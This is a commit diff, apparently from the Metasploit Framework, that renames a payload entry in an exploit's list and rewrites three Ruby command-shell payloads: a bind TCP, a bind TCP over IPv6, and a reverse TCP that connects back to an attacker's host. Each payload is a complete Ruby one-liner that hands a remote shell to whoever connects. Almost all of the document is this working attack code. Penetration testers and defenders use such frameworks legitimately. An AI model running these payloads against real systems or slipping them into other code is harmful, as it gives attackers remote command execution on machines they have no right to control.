Renamed and made more robust
parent
19dad35337
commit
88b08087bf
|
@ -249,7 +249,7 @@ class Exploit
|
|||
'java/meterpreter/reverse_tcp',
|
||||
'php/meterpreter/reverse_tcp',
|
||||
'php/meterpreter_reverse_tcp',
|
||||
'ruby/reverse_tcp',
|
||||
'ruby/shell/reverse_tcp',
|
||||
'cmd/unix/interact',
|
||||
'cmd/unix/reverse',
|
||||
'cmd/unix/reverse_perl',
|
||||
|
|
|
@ -19,7 +19,7 @@ module Metasploit3
|
|||
super(merge_info(info,
|
||||
'Name' => 'Ruby Command Shell, Bind TCP',
|
||||
'Description' => 'Continually listen for a connection and spawn a command shell via Ruby',
|
||||
'Author' => 'kris katterjohn',
|
||||
'Author' => [ 'kris katterjohn', 'hdm' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'ruby',
|
||||
'Arch' => ARCH_RUBY,
|
||||
|
@ -35,6 +35,6 @@ module Metasploit3
|
|||
end
|
||||
|
||||
def ruby_string
|
||||
"require 'socket';s=TCPServer.new(\"#{datastore['LPORT']}\");while(c=s.accept);while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end;end"
|
||||
"require 'socket';s=TCPServer.new(\"#{datastore['LPORT']}\");c=s.accept;s.close;$stdin.reopen(c);$stdout.reopen(c);$stderr.reopen(c);$stdin.each_line{|l|l=l.strip;next if l.length==0;system(l)}"
|
||||
end
|
||||
end
|
|
@ -19,7 +19,7 @@ module Metasploit3
|
|||
super(merge_info(info,
|
||||
'Name' => 'Ruby Command Shell, Bind TCP IPv6',
|
||||
'Description' => 'Continually listen for a connection and spawn a command shell via Ruby',
|
||||
'Author' => 'kris katterjohn',
|
||||
'Author' => [ 'kris katterjohn', 'hdm' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'ruby',
|
||||
'Arch' => ARCH_RUBY,
|
||||
|
@ -35,6 +35,6 @@ module Metasploit3
|
|||
end
|
||||
|
||||
def ruby_string
|
||||
"require 'socket';s=TCPServer.new(\"::\",\"#{datastore['LPORT']}\");while(c=s.accept);while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end;end"
|
||||
"require 'socket';s=TCPServer.new(\"::\",\"#{datastore['LPORT']}\");c=s.accept;s.close;$stdin.reopen(c);$stdout.reopen(c);$stderr.reopen(c);$stdin.each_line{|l|l=l.strip;next if l.length==0;system(l)}"
|
||||
end
|
||||
end
|
|
@ -19,7 +19,7 @@ module Metasploit3
|
|||
super(merge_info(info,
|
||||
'Name' => 'Ruby Command Shell, Reverse TCP',
|
||||
'Description' => 'Connect back and create a command shell via Ruby',
|
||||
'Author' => 'kris katterjohn',
|
||||
'Author' => [ 'kris katterjohn', 'hdm' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'ruby',
|
||||
'Arch' => ARCH_RUBY,
|
||||
|
@ -37,6 +37,6 @@ module Metasploit3
|
|||
def ruby_string
|
||||
lhost = datastore['LHOST']
|
||||
lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
|
||||
"require 'socket';c=TCPSocket.new(\"#{lhost}\",\"#{datastore['LPORT']}\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end"
|
||||
"require 'socket';c=TCPSocket.new(\"#{lhost}\",\"#{datastore['LPORT']}\");$stdin.reopen(c);$stdout.reopen(c);$stderr.reopen(c);$stdin.each_line{|l|l=l.strip;next if l.length==0;system(l)}"
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue